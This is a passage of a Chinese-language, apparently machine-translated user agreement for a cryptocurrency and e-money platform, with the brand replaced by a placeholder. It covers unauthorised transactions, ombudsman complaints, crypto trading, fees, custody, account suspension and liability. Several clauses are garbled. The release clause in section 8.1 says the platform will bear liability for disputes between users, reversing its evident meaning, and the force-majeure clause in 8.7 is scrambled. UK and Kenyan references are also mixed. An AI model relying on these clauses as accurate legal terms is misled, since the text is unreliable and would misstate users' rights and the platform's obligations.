如果由于我们的失败而在您的电子货币钱包中发生未经授的交易,我们将在得知未经授权的交易后的下一个工作日结束之前退还您该交易的金额并恢复您的电子货币如果未发生未经授权的交易,货币钱包将处于的状态。一般而言,在您将未经授权的交易通知我们或我们未能在任何时候向您提供通知我们的方式后发生的损失,您将不承担任何责任。您将承担因使用丢失或被盗凭证而在您的电子货币钱包中发生的未经授权交易(例如,当您未能保留您的登录详细信息时)造成的任何损失的前 35 英镑PLATFORM_TITLE 帐户安全),并且如果您存在欺诈行为,或者您故意或疏忽未能履行您在本协议下的义务,这会导致您的电子货币钱包中出现未经授权的交易(例如,如果您故意与第三方,或在保护您的电子邮<br>件和密码安全方面存在严重疏忽,在这两种情况下(第 3.2 和/或 4.10 节除外),您将对因任何此类未经授权的交易而产生的所有损失承担责任,不仅仅是第一个 35 英镑。


如果我们与您之间就交易是否为未经授权的交易存在争议,我们可以(但没有义务)在解决争议期间暂时记入您的电子货币钱包。如果我们确定交易已获授权,我们可能会在不事先通知您的情况下撤销该信用并纠正在 E-Money Wallet 的任何声明中出现的错误,但请注意,在此期间您的 E-Money Wallet 可能会被暂时锁定以避免进一步的未经授权的交易。对于您转移的任何暂时记入您的 E-Money 钱包的 E-Money,您还将对我们负责(作为债务)。


(B) 错误交易 - 电子货币钱包。


如果由于我们的行为或错误而在您的电子货币钱包中进行了不正确的交易,我们将立即向您退还该交易的金额,并将您的电子货币钱包恢复到原本的状态未发生不正确的交易。我们还将尽可能向您提供合理的通知。我们还将支付我们负责的任何费用,以及您可以证明您因任何不正确交易而必须支付的任何利息。无论我们承担何种责任,根据您的要求,我们将尝试免费追踪您发起的任何错误交易。但是,我们不能保证我们将能够追踪此类交易。


4.10 受监管第三方的任命。如第 3.2 节所述,您可以指定受适当监管的第三方访问您的电子货币钱包(“受监管的第三方”)。如果您这样做,您应该知道,通过此类访问,受监管的第三方可能会访问您的交易和其他数据,和/或可能会从您的电子货币钱包发起转账。您将对任何受监管的第三方对您的 PLATFORM_TITLE 账户采取的任何行动负责,如上文第 3.2 节所述。我们保留拒绝访问任何受监管第三方的权利,如下文第 4.11 节所述。


4.11 拒绝与受监管的第三方打交道。根据适用法律的要求,我们可能会出于客观合理且有充分证据的原因拒绝访问受监管的第三方,这些理由与未经授权或欺诈性访问您的电子货币钱包、洗钱、恐怖主义融资、欺诈或任何其他金融犯罪有关。在这种情况下,除非适用法律禁止我们,否则我们将通知您受监管第三方的访问已被拒绝以及原因。一旦我们确信拒绝访问的原因不再存在,我们将再次允许访问。


4.12 同意。通过在我们这里开设 PLATFORM_TITLE 账户,您明确同意我们向您提供支付服务(即电子货币服务)。您可以随时通过关闭您的 PLATFORM_TITLE 帐户来撤销此同意。为免生疑问,本同意与我们根据数据保护法律法规处理您的个人信息或您的权利无关。请参阅下文第 11 节(数据保护)和我们的隐私政策,了解我们如何处理您的个人数据以及您在这方面拥有的权利。


4.13 金融监察员服务。如果您对 PLATFORM_TITLE Payments 向您提供的电子货币服务提出投诉,并且该投诉无法通过第 10.2节中规定的争议程序解决,您可以采取向金融申诉专员服务(“FOS”) 提出的未解决的投诉。您同意,在第 10.2 条规定的争议程序完成之前,您不会向 FOS 提出投诉。您可以使用以下详细信息找到有关 FOS 以及有资格向 FOS 提交问题的投诉人类型的更多信息:


地址:金融监察员服务,交易塔,海港交易所,伦敦,E14 9SR


电话:0800 023 4567 或 0300 123 9 123


电子邮件:complaint.info@financial-ombudsman.org.uk


网站:http://www.financial-ombudsman.org.uk


5. 数字货币服务。


5.1 总则。您的数字货币钱包使您能够通过网站发出指令,向 PLATFORM_TITLE 平台以外的其他用户或第三方发送数字货币,并向其请求、接收和存储数字货币(每笔此类交易都是“数字货币交易” )。数字货币兑换服务使您能够使用以下方式在 PLATFORM_TITLE 平台上购买数字货币:(A) 来自您与 PLATFORM_TITLE Payments 一起持有的 E-Money 钱包中的 E-Money;


(B) PLATFORM_TITLE 支持的央行发行的货币(如英镑或欧元);和/或


(C) 您的数字货币钱包中的其他类型的数字货币。相反,当您在 PLATFORM_TITLE 平台上出售数字货币时,您可以选择接收:


(D) 将电子货币存入您使用 PLATFORM_TITLE Payments 持有的电子


货币钱包;


(E) PLATFORM_TITLE 支持的央行发行货币(如英镑或欧元);和/或


(F) 您的数字货币钱包中的其他类型的数字货币。PLATFORM_TITLE 促进并支持其客户在 PLATFORM_TITLE 平台上购买和销售数字货币。


5.2 法定货币交易(不使用您的电子货币钱包)。您可以通过将有效的付款方式链接到您的数字货币钱包来购买支持的数字货币。您授权我们使用您选择的付款方式借记资金以完成您的购买。尽管我们会尝试尽快向您交付数字货币,但在您的数字货币交易状态显示为完成之前,可能会从您选择的付款方式中扣除资金,并且数字货币将被交付到您的数字货币钱包中。您可以出售数字货币以换取 PLATFORM_TITLE 支持的法定货币(如英镑或欧元)。在这种情况下,您授权我们从您的数字货币钱包中扣款并发送指令以记入您选择的付款方式以结算卖出交易。我们将尽快发送这些说明。在我们发送此类指示后的工<br>作日结束前,任何法定货币都应记入您选择的付款方式。


5.3 交易履行。我们将尽合理努力完成对数字货币的所有购买,但在某些情况下,我们可能无法做到。如果是这种情况,我们将通知您并寻求您的批准,以按照当前汇率(定义如下)重新尝试购买。


5.4 付款方式的可用性。支付方式的可用性取决于许多因素,例如,您所在的位置、您提供给我们的身份信息以及第三方支付处理商施加的限制。


5.5 转换费。每次购买或出售数字货币都需要支付费用(“兑换费”)。适用的转换费将在每次交易前在网站上显示给您,并在我们向您发出的每张收据中说明。我们可以随时调整我们的转换费。如果转换费和任何其他相关费用加起来超过您的交易价值,我们将不会处理交易。可以在我们的定价和费用披露页面上找到 PLATFORM_TITLE Kenya 费用的完整列表。


5.6 汇率。每次购买或出售数字货币也受给定交易的汇率影响。 “汇率”是指网站上以法定货币表示的给定受支持数字货币的价格。汇率以“买入价”或“卖出价”表示,即您可以分别买入或卖出数字货币的价格。您承认在任何给定时间买入价汇率可能与卖出价汇率不同,并且我们可能会在报价汇率上增加保证金或“点差”。当您授权交易时,您同意接受汇率。您可以在网站上的“定价和费用披露”页面上了解有关 PLATFORM_TITLE Kenya 汇率的更多信息。我们不保证任何汇率的可用性。我们不保证您能够以任何特定价格或时间在公开市场上购买和/或出售您的数字货币。


5.7 授权;逆转;取消。通过单击网站上的“购买”或“出售”按钮,您授权 PLATFORM_TITLE 以报价的买入价或卖出价启动交易,并同意任何合作伙伴d 转换费和兑换费以及任何其他费用。您不能取消、撤销或更改任何标记为已完成或待处理的交易。如果您的付款不成功或您的付款方式资金不足,您授权我们自行决定取消交易或从您的其他付款方式中扣除,包括您的电子货币钱包和/或数字货币上的余额钱包,以完成交易所需的任何金额。您有责任保持足够的余额和/或足够的信用额度,以避免您的支付提供商收取透支、资金不足或类似费用。 PLATFORM_TITLE 保留暂停访问 PLATFORM_TITLE 服务(包括 PLATFORM_TITLE 消费者、PLATFORM_TITLE Pro)的权利,直到此类付款不足得到解决。


5.8 数字货币交易。我们将根据您收到的指示处理数字货币交易。在向我们提交指示之前,您应核实所有交易信息。我们不保证任何用户、接收者、被请求者或其他第三方的身份,并且我们不承担确保您提供的信息准确和完整的责任或<br>义务。数字货币交易一旦被广播到相关的数字货币网络就不能被撤销。如果您通过输入收款人的电子邮件地址或手机号码发起数字货币交易,而收款人没有现有的 PLATFORM_TITLE 账户,我们将邀请收款人开设 PLATFORM_TITLE 账户。如果收款人未在 30 天内开设 PLATFORM_TITLE 账户,我们会将相关数字货币退还至您的数字货币钱包。我们可能会收取网络费用(“矿工费”)以代表您处理数字货币交易。我们将自行决定计算矿工费用,但我们将始终在您授权数字货币交易时(或之前)通知您矿工费用。 PLATFORM_TITLEKenya 矿工费用的完整列表可以在我们网站上的“定价和费用披露”页面上找到。每笔交易的矿工费将在结帐页面上购买时向您披露。当您或第三方从非 PLATFORM_TITLE 托管的外部钱包向 PLATFORM_TITLE 数字货币钱包发送数字货币时,发起交易的人全权负责正确执行交易,其中可能包括支付矿工费以使交易顺利完成。不支付矿工费可能会导致您的交易处于 PLATFORM_TITLE Kenya 无法控制的待处理状态,我们不对因交易启动错误而导致的延迟或损失负责,也没有义务协助此类交易的补救措施。一旦提交到数字货币网络,数字货币交易将在一段时间内未经确认,等待数字货币网络对交易进行充分确认。处于待处理状态的数字货币交易未完成。与处于待处理状态的数字货币交易相关的数字货币将被相应地指定,并且在网络确认之前不会包含在您的数字货币钱包余额中或可用于进行数字货币交易。我们也可以根据法律、法规或 PLATFORM_TITLE 在任何司法管辖区受其管辖的任何法院或其他机构的要求拒绝处理或取消任何待处理的数字货币交易,例如,如果存在洗钱、恐怖主义融资、欺诈、或任何其他金融犯罪。


5.9 支持的数字货币。我们的数字货币服务仅适用于PLATFORM_TITLE 支持的数字货币(“支持的数字货币”),并且可能会不时更改。在任何情况下,您都不应尝试使用您的数字货币钱包以我们不支持的任何形式存储、发送、请求或接收数字货币。对于将您的数字货币钱包用于我们不支持的数字货币的任何尝试,我们不承担任何责任或义务。您承认并同意 PLATFORM_TITLE 对发送到与您的 PLATFORM_TITLE 账户关联的钱包的任何不受支持的资产不承担任何责任且不承担任何责任。如果您对我们目前支持的数字货币有任何疑问,请访问 https://help.PLATFORM_TITLE.com。


5.10 结束对数字货币的支持。 PLATFORM_TITLE 可自行决定终止对任何数字货币的支持。 PLATFORM_TITLE 将通过电子邮件向与您的PLATFORM_TITLE 帐户关联的电子邮件地址至少提前 10 天通知您(除非适用法律或监管机构要求更短的期限),以宣布终止此类支持。如果你不在此期间在平台外出售或发送此类数字货币,PLATFORM_TITLE 保留从您的账户中提取此类数字货币并将支持的数字货币或法定货币的市场价值记入您的 PLATFORM_TITLE 账户的权利(面额将在我们的合理的自由裁量权)。


5.11 USDC 钱包。如果可用,您还可以选择通过 PLATFORM_TITLE购买 USD Coin,这是一种完全由美元抵押的数字货币,由 Circle Internet Financial(“Circle”)发行并由 PLATFORM_TITLE(“USDC”)提供支持。您是您的“USDC 钱包”余额的所有者(即 PLATFORM_TITLE Kenya 提供给您的用于持有 USDC 并可以进行 USDC 中的数字货币交易的数字货币钱包)。 PLATFORM_TITLE 不是 USDC 的发行人,不为 USDC 持有者持有美元(“USD”)储备,也没有义务以美元回购您的 USDC。您可以通过 Circle 兑换您的 USDC,PLATFORM_TITLE 也可以选择回购您的 USDC 以换取美元。您同意受 Circle USDC 协议(位于 https://support.usdc.circle.com/hc/en-us/articles/360001233386-Circle-USDC-User-Agreement)条款的约束,该协议提供了额外的有关 USDC 的义务、承诺和限制。


5.12 经常性数字货币交易。如果您设置了数字货币的定期购买(“未来交易”),您授权我们根据您选择的数字货币交易和任何相应的支付账户(例如直接借记或贷记)发起定期电子支付,您关联的银行账户。您的未来交易将根据您选择的时间段(例如,每天、每周、每月)以相同的定期分期付款进行,直到您或 PLATFORM_TITLE 取消未来交易。如果您选择银行账户作为您未来交易的付款方式,并且该交易发生在相关银行所在地区的周末或公共假期,或相关银行的营业时间之后,则贷记或借记将被在下一个工作日执行,但将收取定期交易时的数字货币费用。如果您的银行无法处理对 PLATFORM_TITLE 的任何付款,我们将通知您取消交易,并可能利用本协议中规定的补救措施来追回欠 PLATFORM_TITLE 的任何金额。在您更改未来交易设置或通过 https://help.PLATFORM_TITLE.com 向我们提供书面通知之前,此授权将保持完全有效。您同意在未来交易之前以书面形式通知PLATFORM_TITLE 您关联的银行账户信息的任何更改。PLATFORM_TITLE 可以随时通过向您发出通知来终止未来交易。


5.13 补充协议除外。除非在网站上明确宣布或通过 PLATFORM_TITLE 的官方公开声明或本协议中规定的其他方式,否则受支持的数字货币不包括补充或与受支持的数字货币交互的所有其他协议和/或功能。此排除包括但不限于:元币、彩色硬币、侧链或其他衍生、增强或分叉协议、代币或硬币或其他功能,例如质押、协议治理和/或任何智能合约功能,可能补充或与支持的数字货币交互(统称为“补充协议”)。请勿使用您的 PLATFORM_TITLE 帐户尝试接收、请求、发送、存储或参与任何其他类型的交易或涉及任何此类补充协议的功能,因为 PLATFORM_TITLE 平台未配置为检测、保护或处理这些交易和功能。对此类物品的任何尝试交易都将导致该物品丢失。您承认并同意,除本协议中的规定外,补充协议被排除在受支持的数字货币之外,并且 PLATFORM_TITLE 对与补充协议相关的任何损失不承担任何责任。


5.14 数字货币协议的操作。我们不拥有或控制管理我们平台上支持的数字货币操作的底层软件协议。一般来说,底层协议是“开源的”,任何人都可以使用、复制、修改和分发它们。我们对底层协议的运行不承担任何责任,我们无法保证网络运行的功能性或安全性。您承认并接受与您存储在您的数字货币钱包中的任何数字货币相关的底层软件协议可能发生变化的风险。特别是,底层协议可能会受到操作规则(包括“分叉”)突然变化的影响。任何此类重大运营变更都可能对可用性、价值、功能和/或 t 的名称产生重大影响您存储在数字货币钱包中的数字货币。 PLATFORM_TITLE 不控制这些重大运营变化的时间和特征。您有责任让自己了解即将发生的运营变化,并且在确定是否继续使用您的 PLATFORM_TITLE 账户以受影响的数字货币进行交易时,您必须仔细考虑公开可用的信息和 PLATFORM_TITLE可能提供的信息。如果发生任何此类运营变更,PLATFORM_TITLE 保留采取必要措施保护 PLATFORM_TITLE 平台上持有的资产的安全性的权利,包括暂时中止相关数字货币的运营,以及其他必要的步骤; PLATFORM_TITLE 将尽最大努力通知您其对任何重大运营变更的响应;但是,此类更改不在 PLATFORM_TITLE 的控制范围内,并且可能在不通知 PLATFORM_TITLE 的情况下发生。 PLATFORM_TITLE对任何重大运营变更的回应均由其自行决定,包括决定不支<br>持任何新的数字货币、分叉或其他行动。您承认并接受对数字货币协议进行操作更改的风险,并同意 PLATFORM_TITLE 不对此类操作更改负责,也不对因操作规则的此类更改而可能导致的任何价值损失承担责任。您承认并接受 PLATFORM_TITLE 有权自行决定其对任何运营变化的响应,并且我们没有责任帮助您处理不受支持的货币或协议。


5.15 某些数字货币的可替代性。您承认并同意 PLATFORM_TITLE 可以通过多种不同方式在您的数字货币钱包中保存受支持的数字货币,包括跨多个区块链协议,例如第二层网络、替代第一层网络或侧链。就其在您的数字货币钱包中持有受支持的数字货币而言,PLATFORM_TITLE 可以将此类数字货币从主要区块链协议中转移出来,并将此类数字货币保存在由 PLATFORM_TITLE 控制的共享区块链地址上,以与此类兼容的形式在替代区块链协议上协议。您同意跨多个区块链协议持有和提供的所有形式的相同数字货币可被视为可互换且彼此等价,无论 (a) 是否包含任何形式的此类数字货币或 (b ) 存储任何形式的此类<br>数字货币的区块链协议。


5.16 数字货币存储和传输延迟。 PLATFORM_TITLE 集团以在线和离线存储相结合的方式安全地存储数字货币私钥。我们的安全协议可能会延迟数字货币交易的启动或记入。


5.17 第三方付款。对于您可能从任何第三方(包括使用数字货币服务)。我们不负责确保与您进行交易的第三方买方或卖方将完成交易或被授权这样做。如果您在使用数字货币服务从任何第三方购买或出售给任何第三方的任何商品或服务遇到问题,或者如果您与该第三方有争议,您应直接与该第三方解决争议派对。如果您认为第三方的行为具有欺诈性、误导性或不当行为,或者您无法充分解决与第三方的争议,您可以通过以下方式通知 PLATFORM_TITLE 支持:trust@PLATFORM_TITLE.com,以便我们考虑采取何种措施采取,如果有的话。


5.18 PLATFORM_TITLE 保险库。 PLATFORM_TITLE 不支持使用多重签名保险库。您可以选择使用其他服务,例如 PLATFORM_TITLE Vault,它允许您设置提款时间延迟,并围绕您的数字货币的保管和转移创造其他条件。可能适用与此类产品和服务相关的其他规则。有关 PLATFORM_TITLE Vault 的更多信息,请访问:https://help.PLATFORM_TITLE.com/customer/en/portal/articles/2877996-vaults-faq?b_id=13521。


5.19 数字货币标题。您的数字货币钱包中持有的所有数字货币都是 PLATFORM_TITLE 集团在托管基础上为您的利益而持有的资产。除其他外,这意味着:


(A) 数字货币的所有权应始终归您所有,不得转让给 PLATFORM_TITLE 集团的任何公司。作为您数字货币钱包中数字货币的所有者,您应承担该数字货币丢失的所有风险。 PLATFORM_TITLE 集团内的任何公司均不对您的数字货币钱包中持有的数字货币的法定货币价值的波动承担任何责任。


(B) 您的 Digital Cu 中没有任何数字货币rrency 钱包是PLATFORM_TITLE 的财产,或者应该或可能被借给 PLATFORM_TITLE;PLATFORM_TITLE 不会将用户数字货币钱包中的资产表示或视为属于 PLATFORM_TITLE。 PLATFORM_TITLE 不得授予您的数字货币钱包中持有的数字货币的担保权益。除非表面上有效的法院命令要求,或本协议另有规定,否则 PLATFORM_TITLE 不会出售、转让、借出、抵押或以其他方式转让您的数字货币钱包中的数字货币,除非您指示或有管辖权的法院强制这样做。


(C) 您控制您的数字货币钱包中持有的数字货币。在任何时候,根据中断、停机时间和其他适用政策,您可以通过将您的数字货币发送到您或第三方控制的不同区块链地址来提取您的数字货币。


(D) 为了更安全地持有客户数字货币,PLATFORM_TITLE 集团可以使用由 PLATFORM_TITLE 集团成员控制的共享区块链地址来持有代表客户和/或代表 PLATFORM_TITLE 肯尼亚持有的数字货币。客户的数字货币与 PLATFORM_TITLE 集团(包括 PLATFORM_TITLE 肯尼亚)自己的数字货币或资金通过客户和 PLATFORM_TITLE 集团账户的单独分类帐分录分开。尽管有上述规定,PLATFORM_TITLE 集团没有任何义务使用不同的区块链地址来存储您拥有的数字货币和其他客户或 PLATFORM_TITLE 集团拥有的数字货币。如果任何数字货币、密码或私钥丢失、被盗、故障、毁坏或以其他方式无法访问,PLATFORM_TITLE 没有义务发行任何替代数字货币。


5.20 高级交易。 PLATFORM_TITLE 在 https://www.PLATFORM_TITLE.com/(“高级交易”)上提供各种数字货币和法定货币交易对(每个“订单簿”)的订单簿,符合条件的用户可以访问。查看您的 PLATFORM_TITLE 账户以查看高级交易中可用的订单簿。 PLATFORM_TITLE 不向所有司法管辖区的客户提供高级交易。通过访问 Advanced Trading 或 PLATFORM_TITLE API for Advanced Trading,您接受并同意受交易规则的约束


(A) 交易费用。通过在 Advanced Trading 下订单,您同意支付所有适用费用并授权 PLATFORM_TITLE 直接从您的账户中自动扣除费用。交易费用在交易规则中有规定。


(B) 提款费用。 PLATFORM_TITLE 可能会对某些法定货币存款或取款方式(例如银行电汇)收取费用。存款和取款可能会受到限制。


(C) 交易账户使用。您不得向任何其他实体或非您的雇员或代理人的任何个人出售、出租、提供或以其他方式允许或提供您的交易账户的访问权。您对您的员工或代理人使用 Advanced Trading 承担全部责任,无论这种使用是直接通过 PLATFORM_TITLE 还是通过其他方式,例如通过 API 密钥和/或您可能授权的应用程序促进的方式。您理解并同意您对任何和所有进入高级交易的订单、交易和其他指令负责,包括与您的账户相关的标识符、权限、密码和安全代码。


(D) 暂停和取消。如果您的帐户被暂停或终止,我们将立即<br>取消与您的帐户相关的所有未结订单,阻止所有提款并禁止下进一步的订单,直到解决或帐户取消为止。


6. 交易限制和加强尽职调查


6.1 交易限制。所有 PLATFORM_TITLE 服务的使用均受交易量限制,以英镑、欧元或其他法定货币或数字货币表示,您可以在给定时间段内(例如每天)进行交易或转账。请参阅附录 2(验证程序和限制)了解更多详细信息。要查看您的限制,请登录您的 PLATFORM_TITLE 帐户并访问 https://<br>www.PLATFORM_TITLE.com/verifications。您的交易限额可能会因您的付款方式、您已完成的验证步骤以及其他因素而有所不同。我们保留在我们认为必要时更改适用限制的权利。如果您希望将限额提高到超出公布的金额,您可以在 https://help.PLATFORM_TITLE.com 提交请求


6.2 加强尽职调查。如果您希望提高限制,我们可能会要求您提交有关您自己或您的业务的其他信息、提供记录并安排与 PLATFORM_TITLE 员工的会议(“加强尽职调查”)。我们保留向您收取与此类增强尽职调查相关的成本和费用的权利,但如果我们打算这样做,我们会提前通知您,以便您决定是否希望继续该请求。根据我们的判断,我们可能会拒绝提高您的限制,或者即使您已完成增强尽职调查,我们也可能会在以后降低您的限制。


7.S暂停使用、终止和取消。


7.1 暂停、终止和取消。我们可以:(a) 拒绝完成或搁置、阻止、取消或撤销您授权的交易(即使从您的 PLATFORM_TITLE 账中扣除资金之后),(b) 暂停、限制或终止您访问任何或所有 PLATFORM_TITLE 服务,和/或 (c) 出于任何原因立即停用或取消您的 PLATFORM_TITLE 帐户,包括但不限于:


(A) 我们有理由相信我们需要这样做以保护我们的声誉;


(B) 我们合理认为,适用法律、法规或我们在任何司法管辖区受其管辖的任何法院或其他当局要求我们这样做;


(C) 我们有理由怀疑您的行为违反了本协议;


(D) 我们有理由怀疑您违反了我们的“行为政策”或“禁止使用、禁止业务和有条件使用的政策”(如附录 1 所述);


(E) 我们担心交易错误或您的 PLATFORM_TITLE 账户的安全性,或者我们怀疑 PLATFORM_TITLE 服务被以欺诈或未经授权的方式使用;


(F) 我们怀疑洗钱、恐怖融资、欺诈或任何其他金融犯罪;


(G) 使用您的 PLATFORM_TITLE 账户会受到任何未决诉讼、调查或政府程序的影响和/或我们认为与您的 PLATFORM_TITLE 账户活动相关的法律或监管违规风险增加;和/或


(H) 您采取任何可能规避我们控制的行动,例如开设多个 PLATFORM_TITLE 账户或滥用我们可能不时提供的促销活动。如果您的电子货币钱包中的电子货币不足和/或您的数字货币钱包中的数字货币不足以支付交易和(如适用),我们也可能拒绝完成或阻止、取消或撤销您授权的交易在我们收到交易通知时或您的信用卡或借记卡或与您的 PLATFORM_TITLE 帐户或数字货币钱包相关联的任何其他有效付款方式被拒绝时的相关费用。


7.2 如果我们拒绝完成交易和/或暂停、限制或关闭您的 PLATFORM_TITLE 账户,和/或终止您对 PLATFORM_TITLE 服务的使用,我们将(除非我们这样做是非法的)通知您我们的行动和拒绝、暂停或关闭的原因,以及在适当情况下纠正导致您的 PLATFORM_TITLE 账户拒绝、暂停或关闭的任何事实错误的程序。如<br>果我们拒绝完成交易和/或暂停您的 PLATFORM_TITLE 账户,一旦拒绝和/或暂停的原因不再存在,我们将在合理可行的情况下尽快解除暂停或完成交易。但是,我们没有义务允许您以与暂停、撤销或取消的交易相同的价格或相同的条款恢复交易。我们可能会暂停、限制或终止您对任何或所有 PLATFORM_TITLE 服务的访问和/或停用或取消您的 PLATFORM_TITLE 帐户,而无需提前两个月通知您。您承认我们采取某些行动(包括限制访问、暂停或关闭您的 PLATFORM_TITLE 账户)的决定可能基于对我们的风险管理和安全协议而言必不可少的机密标准。您同意PLATFORM_TITLE 没有义务向您披露其风险管理和安全程序的细节。


7.3 终止或暂停的后果。在因任何原因终止本协议时,除非适用法律或 PLATFORM_TITLE 在任何司法管辖区受其管辖的任何法院或其他命令禁止,否则您可以访问您的 PLATFORM_TITLE 帐户:


(A) 此后九十 (90) 天内,出于将数字货币从您的数字货币钱包和/或 PLATFORM_TITLE 平台转移出的目的;和/或


(B) 自本协议终止之日起六年内的任何时间点,用于将 E-Money 从您的 E-Money 钱包和/或 PLATFORM_TITLE 平台转出。在此期间,您不得将 PLATFORM_TITLE 服务或您的 PLATFORM_TITLE 帐户用于任何其他目的,我们可以酌情决定限制 PLATFORM_TITLE 平台的功能或相应地为您访问网站。如果我们出于任何原因暂停或关闭您的 PLATFORM_TITLE 帐户或终止您对 PLATFORM_TITLE 服务的使用,我们保留要求您重新完成第


3.3 节(身份验证)中概述的程序的权利,然后才能允许您转移或提取数字货币或电子货币。您可以随时通过提取您的电子货币钱包和数字货币钱包中的所有余额并访问:https://www.PLATFORM_TITLE.com/settings/cancel 来取消您的 PLATFORM_TITLE 账户。取消不会向您收费填写您的 PLATFORM_TITLE 帐户,尽管您将需要支付任何欠我们的未付款项。您授权我们在取消时取消或暂停任何待处理的交易。


8. 责任


8.1 PLATFORM_TITLE 的发布。如果您与 PLATFORM_TITLE 服务的一位或多位用户(PLATFORM_TITLE 除外)发生争议,您同意我们、我们的关联公司或服务提供商,以及我们各自的管理人员、董事、代理、合资企业、员工和代表,将对由此类争议引起或以任何方式与之相关的任何种类或性质的任何索赔、要求和损害赔偿(实际的和相应的、直接的或间接的)承担责任。


8.2 赔偿。您同意就任何费用(包括律师费和任何罚款、费用或由因您违反和/或我们执行本协议(包括但不限于您违反我们的“行为政策”或我们的“政策禁止使用、禁止业务和有条件使用”(如附录 1 所述)或您违反任何法律、规则或法规,或任何第三方的权利。


8.3 责任限制。 PLATFORM_TITLE 对您因 PLATFORM_TITLE 违反本协议而可能遭受的损失、成本、责任或费用的任何个人索赔或一系列相关索赔的总合计责任应限于最大合计在 PLATFORM_TITLE 发生相关违规行为时,存入您的 E-Money 钱包和您的数字货币钱包中的数字货币和 E-Money 的总价值。如果我们正在考虑与特定交易有关的特定索赔,则该金额应进一步限于争议交易的购买/销售金额(如相关)。


8.4 损失限制。除了上述第 8.3 节(责任限制)中的责任上限,在任何情况下,我们、我们的关联公司或服务提供商,或我们或他们各自的管理人员、董事、代理、雇员或代表均不对任何根据本协议或其他方式引起或与之相关的以下类型的损失或损害:


(A) 任何利润损失或预期收入或收益损失,包括任何预期交易利润损失和/或任何实际或假设的直接或间接交易损失,即使我们被告知或知道或应该知道相同的可能性。这意味着,仅作为示例(并且不限制前一句的范围),如果您声称我们未能正确处理数字货币交易,您的损失将限制在不超受支持数字货币的总价值交易中涉及的货币和电子货币,您可能无法就预期交易利润的任何“损失”或因未能买卖数字货币而造成的任何实际交易损失进行赔偿;


(B) 声誉或商誉的任何损失或损害;任何业务或机会、客户或合同的损失;任何间接费用、管理或其他员工时间的损失或浪费;或任何其他直接或间接的收入损失或实际或预期的节省,即使我们被告知或知道或应该知道相同的可能性;


(C) 任何硬件、软件或数据的使用损失和/或数据的任何损坏;包括但不限于因数字货币价格数据的任何不准确、缺陷或遗漏而引起或与之相关的任何损失或损害;传输此类数据的任何错误或延迟;和/或任何此类数据的任何中断;和


(D) 任何非因我们违反本协议而直接造成的损失或损害(无论您是否能够证明此类损失或损害)。


8.5 适用法律。本第 8 条(责任)中的责任限制受以下任何义务的约束:根据适用的法律和法规,我们有义务在提供 PLATFORM_TITLE 服务时行使合理的谨慎和技能。本协议中的任何内容均不得限制我们因欺诈或欺诈性失实陈述、重大过失、故意不当行为、因我们或我们的分包商的疏忽而导致的死亡或人身伤害的责任。


8.6 无保证。 PLATFORM_TITLE 服务、PLATFORM_TITLE 平台和网站均按“原样”和“可用”的基础提供,我们不对 PLATFORM_TITLE 服务的可用性作出进一步承诺。具体而言,我们不对所有权、适销性、特定用途的适用性和/或不侵权提供任何默示保证。我们不做任何访问的承诺对于本网站,任何 PLATFORM_TITLE 服务或其中包含的任何材料将是连续的、不间断的、及时的或无错误的。我们不对网站上可用的历史数字货币价格数据的准确性、顺序、及时性或完整性作出任何陈述。 PLATFORM_TITLE 通过本网站提供的任何材料、信息、观点、意见、预测或估计仅供参考,如有更改,恕不另行通知。您必须自行评估网站和/或网站上提供的材料、信息、观点、预测或估计的相关性、及时性、准确性、充分性、商业价值、完整性和可靠性。因此,PLATFORM_TITLE 不提供任何保证,并且 PLATFORM_TITLE 不接受任何直接或间接因您对提供或提供的任何材料、信息、观点、意见、预测或估计采取行动而导致的任何损失本网站和/或本网站。PLATFORM_TITLE 服务、PLATFORM_TITLE 平台和网站并非旨在提供具体的投资、税务或法律建议,或就任何投资或产品对任何特定投资者的适用性提出任何建议。在对投资或产品进行投资之前,您应寻求自己的独立财务、法律、监管、税务或其他建议。如果您选择不向相关顾问寻求建议,您应考虑该投资或产品是否适合您。我们将尽合理努力确保及时处理涉及数字货币钱包、电子货币钱包、银行账户、信用卡和借记卡的数字货币交易、借记和贷记请求,但 PLATFORM_TITLE 对金额不作任何陈述或保证完成处理所需的时间取决于我们无法控制的许多因素。我们将尽合理努力确保及时处理涉及银行账户、信用卡和支票签发的电子借记卡和贷记卡请求,但我们对完成处理所需的时间不作任何陈述或保证,这取决于在我们无法控制的许多因素上。除本协议中规定的明确声明外,您在此承认并同意,对于您对 PLATFORM_TITLE 服务和网站的使用和访问,您没有依赖任何其<br>他书面或口头声明或理解。


8.7 不承担违约责任。对于任何因我们无法控制的异常和不可预见的情况而直接或间接引起的任何违反本协议的行为,包括延迟、未能履行或服务中断,我们概不负责,尽管对本协议有任何影响,但其后果将是不可避免的相反,如果违反是由于适用强制性法律规则而导致的,我们也不承担任何责任。


9. 网站可用性和准确性


9.1 访问和可用性。在大幅波动或交易量大时,对 PLATFORM_TITLE 服务的访问可能会降级或不可用。这可能会导致对您的 PLATFORM_TITLE 帐户或 PLATFORM_TITLE 服务的访问受到限制,包括无法启动或完成交易,还可能导致支持响应时间延迟。


(A) 尽管我们努力为您提供优质的服务,但我们不保证网站或其他 PLATFORM_TITLE 服务不会中断,我们不保证任何订单将被执行、接受、记录或保持开放,或者您的 PLATFORM_TITLE 帐户将可以访问;和


(B) 请注意,我们的客户支持响应时间可能会延迟,包括在大幅波动或交易量大的时候,尤其是在非信任和安全问题上。在任何情况下,PLATFORM_TITLE 均不对因服务中断、交易处理延迟或 PLATFORM_TITLE 客户支持未及时响应而造成的任何所谓的损害负责。


9.2 网站准确性。尽管我们打算在网站上提供准确及时的信息,但网站(包括但不限于内容(定义见下文))可能并不总是完全准确、完整或最新,还可能包括技术不准确或印刷错误。为了继续向您提供尽可能完整和准确的信息,在适用法律允许的范围内,信息可能会不时更改或更新,恕不另行通知,包括但不限于有关我们的政策、产品和服务的信息.因此,您应在依赖所有信息之前对其进行验证,所有基于本网站所含信息的决定均由您自行负责,我们对此类决定不承担任何责任。第三方材料(包括但不限于任何网站)的链接可能会被提供为nience,但不受我们控制。您承认并同意,对于从本网站可访问或链接的任何此类第三方材料中包含的信息、内容或服务的任何方面,我们概不负责。


10. 客户反馈、查询、投诉和争议解决


10.1 联系 PLATFORM_TITLE。如果您有任何反馈、问题或投诉,请通过我们的“客户支持”网页与我们联系,网址为 https://help.PLATFORM_TITLE.com。当您与我们联系时,请向我们提供您的姓名、电子邮件地址以及我们可能需要识别您、您的 PLATFORM_TITLE 帐户以及您有反馈、问题或投诉的交易的任何其他信息。


